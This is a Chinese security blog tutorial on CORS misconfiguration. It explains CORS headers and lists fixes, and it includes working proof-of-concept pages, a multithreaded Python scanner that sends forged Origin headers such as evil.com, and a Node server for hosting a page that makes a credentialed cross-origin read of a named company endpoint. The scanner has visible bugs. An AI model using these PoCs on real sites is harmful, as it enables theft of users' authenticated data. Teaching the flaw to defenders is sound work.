CORS漏洞(2):跨域资源共享漏洞


CORS的出现是为了弥补同源策略的不足,它是一种用来绕过同源策略来实现跨域资源访问的一种技术。

CORS 跨域资源共享 概念介绍

Cors(Cross-origin resource sharing,”跨域资源共享”)的出现是用来弥补SOP(同源策略)的不足。在当时SOP有些限制了网页的业务需求,不能够使不同域的网页互相访问,因此提出了Cors:用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。

Cors漏洞就是攻击者利用Cors(跨域资源共享)技术来获取用户的敏感数据,从而导致用户敏感信息泄露。

它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS分类:

Cors请求可分为两类,简单请求和非简单请求。

简单请求和非简单请求不影响漏洞,漏洞产生原因在于没有对请求源做严格限制。

1:非简单请求

非简单请求就是在正式请求之前,先进行预检请求,询问服务器该域名是否在服务器可请求名单中,得到答复后再执行。

2:简单请求

简单请求就是浏览器直接发出cors请求,就是在头信息中直接加个Origin字段。

所谓简单请求,就是请求方式为GET,POST,HEAD这三种之一,并且HTTP头不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段【应该没有涵盖全】。

当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添几个字段:

Access-Control-Allow-Origin 规定服务器资源允许被哪些域访问

Access-Control-Allow-Credentials 请求中是否允许发送cookie

Access-Control-Expose-Headers 允许跨域请求发送额外的headers字段

Access-Control-Request-Method 哪些请求类型是被允许的

Access-Control-Max-Age 指定本次请求的有效期

其中响应中的 Access-Control-Allow-Origin是必须有的(它指示了目标域接受来自哪个域的跨域请求,即允许哪个域访问),而剩下几个可有可无。

当字段值为‘*’时,就代表任意域都可以访问,这样就导致了Cors漏洞的产生。

Access-Control-Allow-Origin这个头的值是在目标域的服务端进行配置的,一般这个头的值都会设计成一个白名单,而这个白名单的设计方式就是通过正则实现(记住:有正则的地方就会有绕过的!)

而一些都根本没有考虑这个问题,如下图:

image-20230427112223155

请求包
Origin: https://www.baidu.com

响应包
Access-Control-Allow-Origin: https://www.baidu.com

POC如下:

<!DOCTYPE>
<html>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
//request vuln page
xhr.open("GET","http://www.target.com","true") //网页地址
xhr.send();
}
loadXMLDoc();
</script>
</html>
这是一段HTML代码,其中包含了一个脚本(JavaScript),用于向特定网址发出XMLHttpRequest请求,并在收到响应后显示响应数据。下面对代码进行逐行解释:

- `<!DOCTYPE>`:这是文档类型声明,指定该HTML文档遵循的标准类型。
- `<html>`:这是HTML文档的根元素,定义了整个文档的结构。
- `<script type="text/javascript">`:这是一个脚本元素,指示该元素包含JavaScript代码。`type`属性指定脚本语言的类型,这里是JavaScript。
- `function loadXMLDoc()`:这是一个JavaScript函数,它封装了向指定地址发出XMLHttpRequest请求的逻辑。
- `var xhr = new XMLHttpRequest();`:这是创建一个XMLHttpRequest对象,可以通过它来向服务器发送HTTP请求并接收响应。
- `xhr.onreadystatechange=function() { ... }`:这是为XMLHttpRequest对象添加一个事件监听器。当服务器返回响应时,该事件监听器将调用一个匿名函数进行处理。
- `if(xhr.readyState == 4 && xhr.status == 200)`:这是判断服务器响应是否成功的条件。`readyState`属性表示当前XMLHttpRequest对象的状态,4代表已经收到所有响应数据;`status`属性表示服务器返回的状态码,200代表请求成功。
- `var datas=xhr.responseText;`:如果服务器响应成功,将响应数据赋值给变量`datas`。
- `alert(datas);`:在浏览器中弹出一个警示框,显示接收到的响应数据。
- `xhr.open("GET","http://www.target.com","true")`:向指定地址发出GET请求。第一参数是请求方法,第二个参数是请求URL地址,第三个参数是是否异步发送请求(true表示异步,false表示同步)。
- `xhr.send();`:将XMLHttpRequest对象的请求发送到服务器端。

综上,这段HTML代码定义了一个函数`loadXMLDoc()`,它通过XMLHttpRequest发送HTTP请求,接收并处理服务器返回的响应数据。然后通过调用该函数来执行请求和响应的过程。

这是一段包含 JavaScript 和 HTML 代码的 web 页面。具体来说,这个页面创建了一个名为 loadXMLDoc 的 JavaScript 函数,该函数使用 AJAX(Asynchronous JavaScript and XML)技术从指定的 URL 获取数据并在获取到响应后显示弹出窗口。

更具体地说,当页面加载时,函数 loadXMLDoc 将被调用。该函数首先创建了一个 XMLHttpRequest 对象 xhr,然后对其进行配置以发送 HTTP GET 请求。请求的 URL 是 "http://www.target.com",即目标网站的地址。在发送请求之后,函数设置了 onreadystatechange 事件处理程序,以便在接收到响应后执行一些操作。

当 xhr.readyState 变为 4 且 xhr.status 等于 200 时,意味着服务器已经成功地响应了该请求,并且返回了数据。此时,函数从 xhr.responseText 属性中获取数据,然后在弹出窗口中将其显示出来。

需要注意的是,这段代码仅仅是一个示例,它只是展示了如何使用 AJAX 技术从服务器获取数据,而没有考虑安全性。如果直接在实际的项目中使用这段代码,可能会存在一些潜在的安全风险,比如 CSRF(跨站点请求伪造)攻击等。因此,在实际开发中,应该考虑更加严格的安全措施。

漏洞产生原因

配置不当,没有限制请求的源,例如Access-Control-Allow-Origin 设置为*,允许任意源请求访问 ,或设置请求源的域名没有完整,没有对请求源的域做严格限制,导致任意源都可以访问,造成cors漏洞。

漏洞利用思路

例如某一站点没有对请求源的域做严格限制,这时候攻击者制作一个恶意页面让目标去点击,目标点击后攻击者就可以获取到当前目标所在页面的信息。

挖掘思路

根据上方CORS跨域漏洞出现的请求包特征,burp中可以自动添加origin头寻找CORS配置错误,

image-20230427121654336

改了之后一些请求包会不在burp数据流中,导致失败。

image-20230427121924413

image-20230427122140632

查看是否存在get请求的json形式敏感信息,在请求头中添加任意Origin值,如https://evil.com,查看返回头是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,则构造poc.html进行跨域读取数据。

一个探测cors的py脚本

import requests
from threading import Thread,activeCount
from queue import Queue
from sys import argv

def cors_test(domain):
if 'http://' or 'https://' not in domain:
domain = 'http://' + domain.strip()
try:
characters = '!@#$%^&*()_+~/*'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36',
'Origin': '{}'.format('http://www.abc.com')
}
req1 = requests.get(domain,headers=headers,timeout=(5,20),verify=False,allow_redirects=False)
if "Access-Control-Allow-Origin" and "Access-Control-Allow-Credentials" in req1.headers:
if req1.headers['Access-Control-Allow-Origin'] == headers['Origin']:
print('[+]Mode 1:CORS Found {} {} {}'.format(domain.replace('http://',''),req1.headers['Access-Control-Allow-Origin'],req1.headers['Access-Control-Allow-Credentials']))
with open('cors_success.txt','a+') as f:
f.write('{} {} {} \n'.format(domain.replace('http://',''),req1.headers['Access-Control-Allow-Origin'],req1.headers['Access-Control-Allow-Credentials']))
else:
headers['Origin'] = domain + '.baidu.com'
req2 = requests.get(domain,headers=headers,timeout=(5,20),verify=False,allow_redirects=False)
if req2.headers['Access-Control-Allow-Origin'] == headers['Origin']:
print('[+]Mode 2:CORS Found {} {} {}'.format(domain.replace('http://',''),req2.headers['Access-Control-Allow-Origin'],req2.headers['Access-Control-Allow-Credentials']))
with open('cors_success.txt','a+') as f:
f.write('{} {} {} \n '.format(domain.replace('http://',''),req2.headers['Access-Control-Allow-Origin'],req2.headers['Access-Control-Allow-Credentials']))
else:
for character in characters:
headers['Origin'] = domain + character + '.baidu.com'
req3 = requests.get(domain,headers=headers,timeout=(5,20),verify=False,allow_redirects=False)
if req3.headers['Access-Control-Allow-Origin'] == headers['Origin']:
print('[+]Mode 3:CORS Found {} {} {}'.format(domain.replace('http://',''),req3.headers['Access-Control-Allow-Origin'],req3.headers['Access-Control-Allow-Credentials']))
with open('cors_success.txt','a+') as f:
f.write('{} {} {} \n').format(domain.replace('http://',''),req3.headers['Access-Control-Allow-Origin'],req3.headers['Access-Control-Allow-Credentials'])
else:
if req.headers['Access-Control-Allow-Origin']:
print('[+]maybe CORS Found {} {} {}'.format(domain.replace('http://',''),req3.headers['Access-Control-Allow-Origin'],req3.headers['Access-Control-Allow-Credentials']))

except Exception as e:
print('[-]' + domain.replace('http://','') + ' ' + str(e))
pass

if __name__ == '__main__':
try:
if argv[1]:
queue = Queue()
filename = open(argv[1],'r+')
for url in filename:
queue.put(url.strip())
filename.close()
while queue.qsize()>0:
if activeCount()<= 10:
Thread(target=cors_test,args=(queue.get(),)).start()
except IndexError:
print('Usage:python3 cors_test.py filename.txt')
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80

http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

利用步骤大概如下:

  • 准备一个开启了泛解析的域名,这个域名指向你的主机
  • NodeJS

为啥要准备NodeJS呢?

因为Apache和Nginx对这些有特殊字符的域名支持都不太好,所以,我们直接用NodeJS在我们的主机上搭建一个Server比较好

然后在同目录下创建一个cors.html

cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://gateway-q.test.xdf.cn/hr-permission-web/auth/permission/loginUserPermission", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>

漏洞修复

1.不要将Access-Control-Allow-Origin字段设置为*

2.严格校验Origin字段的值

3.HTTPS 网站不要信任HTTP 域

4.不要信任全部自身子域,减少攻击面

参考链接:

https://mp.weixin.qq.com/s/eayXNlhiNO7TEaF8S9ZZKA CORS配置不当—挖掘技巧及实战案例全汇总

https://www.freebuf.com/vuls/323358.html CORS漏洞详解


文章作者: highgerms
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 highgerms !
 上一篇
杀软识别-脚本开发(1):杀软进程与名称去重清洗 杀软识别-脚本开发(1):杀软进程与名称去重清洗
针对不同杀软,不同的免杀马的过的概率不一样。 所以要先识别Windows系统进程中的杀毒软件,快速发现并为后续绕过做准备。😳😳😳
下一篇 
CORS漏洞(1):前置知识 CORS漏洞(1):前置知识
cors跨域资源共享漏洞的前置知识:同源概念、同源要素、跨域、JSONP等基础内容。
2023-01-26
  目录